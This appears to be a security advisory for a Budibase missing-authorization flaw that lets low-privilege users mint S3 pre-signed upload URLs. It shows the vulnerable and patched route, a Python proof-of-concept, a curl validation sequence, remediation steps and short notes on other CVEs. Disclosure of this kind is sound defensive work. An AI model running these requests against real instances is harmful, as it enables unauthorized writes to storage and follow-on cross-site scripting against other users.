Aug 27, 2026·5 min read·25 visits
An authenticated low-privilege user can obtain server-signed AWS S3 pre-signed upload URLs from Budibase and write arbitrary files directly to S3.
CVE-2026-54356 is a missing authorization vulnerability (CWE-862) within the backend component of the Budibase low-code platform. The vulnerability exists inside the `@budibase/server` package in versions prior to 3.41.3. An authenticated user with the lowest privilege level can invoke the attachment upload URL endpoint directly and obtain an S3 pre-signed PutObject URL signed with the server's S3 credentials.
CVE-2026-54356 is a high-severity missing authorization vulnerability (CWE-862) discovered in the Budibase low-code platform. The vulnerability is located within the @budibase/server backend component in versions prior to 3.41.3.
The flaw allows an authenticated user with only minimal application permissions to invoke backend API endpoints to generate S3 pre-signed PutObject upload URLs. These URLs are signed server-side using the AWS credentials configured for the workspace's S3 datasource.
Because the backend component mints the URL on behalf of the user, the attacker can specify arbitrary target buckets and keys. The resulting pre-signed URL allows the attacker to bypass standard Budibase tenant boundaries and directly write data to the backend S3 storage.
The vulnerability originates from a failure to perform appropriate object-level authorization checks on the attachment upload endpoint. Specifically, the route configuration handling attachment S3 upload URLs does not verify if the requesting user has the authority to interact with a specific S3 datasource ID.
In the vulnerable routing configuration, the endpoint uses a generic table-level write permission middleware. Any authenticated application user—even those with the minimal, built-in BASIC role—possesses table-write capabilities within their published application workspaces, allowing them to pass this routing barrier.
Once the routing layer authorizes the request, the backend controller accepts user-supplied parameters for the S3 bucket name and key path directly from the JSON request body. The controller does not validate whether these parameters align with the bucket defined in the datasource configuration, permitting arbitrary S3 bucket targeting.
The insecure route configuration inside packages/server/src/api/routes/static.ts utilizes the generic TABLE authorization check instead of verifying the specific datasource ID.
// VULNERABLE ROUTE
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.getSignedUploadURL
)The fix commit 0f1a20e532119cb4b354840e219072e2ed277f32 addresses this by applying a strict object-level authorization model and validating the target bucket parameters against the server-side configuration.
// PATCHED ROUTE
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
authorized(PermissionType.DATASOURCE, PermissionLevel.WRITE),
controller.getSignedUploadURL
)The corresponding controller was updated to verify that the user-specified bucket name matches the bucket configured and pinned within the designated datasource settings, rejecting mismatched inputs.
Exploitation of CVE-2026-54356 requires an active authenticated session inside a published Budibase application. The attacker must obtain the target S3 datasource ID and the current application ID from client-side network traffic.
The attacker sends a crafted HTTP POST request to the /api/attachments/:datasourceId/url endpoint with a JSON body specifying the target S3 bucket name and key path. The server generates a pre-signed S3 URL using its backend AWS credentials and returns it within the JSON response payload.
The attacker extracts the pre-signed URL from the HTTP response and makes a direct HTTP PUT request containing their payload to the Amazon S3 endpoint. Because the write is signed by valid server-side credentials, the S3 bucket accepts the request, allowing the attacker to bypass all application-level storage filters.
A proof-of-concept Python script can automate authentication, URL retrieval, and subsequent S3 object writing:
# CVE-2026-54356 - Budibase arbitrary S3 signed upload URL issuance PoC
import argparse
import sys
import requests
def login(session, target, app_id, email, password):
url = f"{target}/api/global/auth/{app_id}/login"
headers = {"Content-Type": "application/json", "x-budibase-app-id": app_id}
r = session.post(url, json={"username": email, "password": password}, headers=headers, timeout=30)
if r.status_code != 200:
sys.exit(f"[-] Login failed: {r.status_code}")
def mint_signed_url(session, target, app_id, datasource_id, bucket, key):
url = f"{target}/api/attachments/{datasource_id}/url"
headers = {"Content-Type": "application/json", "x-budibase-app-id": app_id}
r = session.post(url, json={"bucket": bucket, "key": key}, headers=headers, timeout=30)
if r.status_code != 200:
sys.exit(f"[-] Request failed: {r.status_code}")
return r.json().get("signedUrl")Alternatively, a lightweight bash and curl sequence can be used to validate the vulnerability:
#!/usr/bin/env bash
# Minimal curl validation script
# 1) Authenticate as a BASIC user
curl -s -c cookies.txt \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-X POST "$TARGET/api/global/auth/$APP_ID/login" \
-d "{\"username\":\"$EMAIL\",\"password\":\"$PASSWORD\"}"
# 2) Request the pre-signed upload URL
curl -s -b cookies.txt \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-X POST "$TARGET/api/attachments/$DATASOURCE_ID/url" \
-d "{\"bucket\":\"$BUCKET\",\"key\":\"$KEY\"}"The concrete security impact of CVE-2026-54356 is significant. Attackers can leverage the server-side credentials to modify, overwrite, or delete objects within any S3 bucket accessible by the backend server's AWS credentials.
If the targeted S3 bucket is configured to serve static assets or web resources to other users, an attacker can overwrite existing static HTML or JavaScript files. This enables Stored Cross-Site Scripting (XSS), exposing other platform users to session hijacking and credential theft.
Additionally, attackers can exploit this flaw to upload large files to the target's bucket, leading to resource exhaustion or high cloud consumption costs. Because the request relies on valid user sessions, standard intrusion detection systems may view the request as legitimate application traffic.
The primary remediation for CVE-2026-54356 is to upgrade Budibase self-hosted instances to version 3.41.3 or higher. This release restricts endpoint access and enforces strict server-side bucket validation checks.
When immediate patching is not possible, organizations should apply S3 IAM least-privilege policies to the credentials used by the platform. Restrict AWS credentials to allow only specific S3 actions on dedicated bucket prefixes.
Administrators should also ensure that the bucket name is explicitly defined and locked in the S3 datasource configuration. Finally, configure AWS CloudTrail to monitor and alert on unexpected PutObject operations originating from unexpected IP addresses.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
Budibase (@budibase/server) Budibase | < 3.41.3 | 3.41.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862: Missing Authorization |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 7.1 (High) |
| Exploit Status | Proof-of-Concept Available |
| Affected Versions | < 3.41.3 |
| Patch Version | 3.41.3 |
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.
ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.